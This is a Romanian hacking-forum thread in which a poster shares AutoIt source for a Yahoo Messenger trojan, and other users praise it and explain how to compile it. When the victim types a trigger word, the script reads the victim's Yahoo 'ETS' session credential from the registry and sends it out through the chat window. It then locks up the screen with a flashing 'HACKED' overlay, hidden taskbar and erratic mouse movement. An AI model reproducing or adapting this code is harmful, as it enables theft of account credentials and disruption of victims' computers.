Jimmy Posted October 3, 2012 Report Share Posted October 3, 2012 (edited) Cand victima tasteaza cuvantul /bine/ veti primi ets-ul ei si se apeleaza functia funny...facut de plictiseala , il puteti modifica de exemplu cand scrie un anumit cuvant sa faca nush ce...plm, end of story Ps/ functia funny e de pe net.AutoitWhile 1 If WinExists("[CLASS:CTabbedIMHost]") Then $Text = ControlGetText("[CLASS:CTabbedIMHost]", "", "YIMInputWindow1") $Word = "bine" $String = StringCompare($Text, $Word) If $String = 0 Then ControlSend("[CLASS:CTabbedIMHost]", "", "[CLASS:YIMInputWindow; INSTANCE:1]", " coi {ENTER}") $ETS = RegRead("HKEY_CURRENT_USER\Software\Yahoo\pager", "ETS") WinSetTrans("[CLASS:CTabbedIMHost]", "", 0) ControlSend("[CLASS:CTabbedIMHost]", "", "[CLASS:YIMInputWindow; INSTANCE:1]", $ETS & "{ENTER}") WinSetTrans("[CLASS:CTabbedIMHost]", "", 255) ControlSend("[CLASS:CTabbedIMHost]", "", "[CLASS:YIMInputWindow; INSTANCE:1]", "<DING>{ENTER}") _Funny () EndIf EndIf Sleep(100)WEndFunc _Funny ()While True WinMinimizeAll() WinSetState("[CLASS:DV2ControlHost]", "", @SW_DISABLE) WinSetTrans("[CLASS:DV2ControlHost]", "", 0) WinSetState("[CLASS:Shell_TrayWnd]", "", @SW_HIDE) WinSetState("Program Manager", "", @SW_HIDE) HotKeySet("{ESC}", "_escape") Global $x Global $y Global $c Global $o $gui = GUICreate("HACKED", @DesktopWidth + 3, @DesktopHeight + 3, -1, -1) GUISetState(@SW_SHOW) WinSetTrans("HACKED", "", 99) While 1 $x = Random(150, @DesktopWidth, 1) $y = Random(150, @DesktopHeight, 1) $c = Random(000000, 999999, 1) $o = Random(75, 99, 1) MouseMove($x, $y, 5) ToolTip("HACKED") GUISetBkColor($c, $gui) Sleep(5) WEndWEndEndFuncFunc _escape() GUISetState(@SW_HIDE, "Cover") WinSetState("Program Manager", "", @SW_SHOW) WinSetState("Program Manager", "", @SW_SHOW) WinSetState("[CLASS:Shell_TrayWnd]", "", @SW_SHOW) WinSetState("[CLASS:DV2ControlHost]", "", @SW_ENABLE) WinSetTrans("[CLASS:DV2ControlHost]", "", 255) ExitEndFunc Edited October 3, 2012 by Jimmy 1 Quote Link to comment Share on other sites More sharing options...
UnuRo Posted October 3, 2012 Report Share Posted October 3, 2012 disctractiv Quote Link to comment Share on other sites More sharing options...
YzY Posted November 1, 2012 Report Share Posted November 1, 2012 Si....Ce fac cu acel cod cine imi poate explica chiar nu inteleg cum se foloseste Quote Link to comment Share on other sites More sharing options...
StoNe- Posted November 8, 2012 Report Share Posted November 8, 2012 Si....Ce fac cu acel cod cine imi poate explica chiar nu inteleg cum se foloseste Nu cred ca sta nimeni sa iti explice. Toti au invatat singuri , nu mura-n gura. Quote Link to comment Share on other sites More sharing options...
AltraX Posted November 8, 2012 Report Share Posted November 8, 2012 @StoNe- , daca cu un post si deja comentezi , ma intrebi cum o sa faci cand ai reputatie .O sa imi amintesc de tine , daca tu nu ajuti , nu astepta ca cineva sa te ajute.Punem pariu ca o sa il ajute cineva? "Mura-n gura".ON : Frumos omule. O sa il testez. Quote Link to comment Share on other sites More sharing options...
YzY Posted November 9, 2012 Report Share Posted November 9, 2012 s-o rezolvat -> Frumos ! Quote Link to comment Share on other sites More sharing options...
Che Posted November 9, 2012 Report Share Posted November 9, 2012 s-o rezolvat -> Frumos ! Cum ai facut ? Quote Link to comment Share on other sites More sharing options...
io.kent Posted November 9, 2012 Report Share Posted November 9, 2012 sia pus ochelari de soare sa vada codul color:)) che ce intrebare iai bagat=))jimmy frumos! Quote Link to comment Share on other sites More sharing options...
Alexutzu98 Posted November 9, 2012 Report Share Posted November 9, 2012 Explicati-mi si mie ceva Nu prea inteleg ... Quote Link to comment Share on other sites More sharing options...
bubu2005 Posted November 9, 2012 Report Share Posted November 9, 2012 Explicati-mi si mie ceva Nu prea inteleg ...Descarci,programul COILII de aici:AutoIt Downloads - AutoItScriptiei sursa si il compilezi si gata Quote Link to comment Share on other sites More sharing options...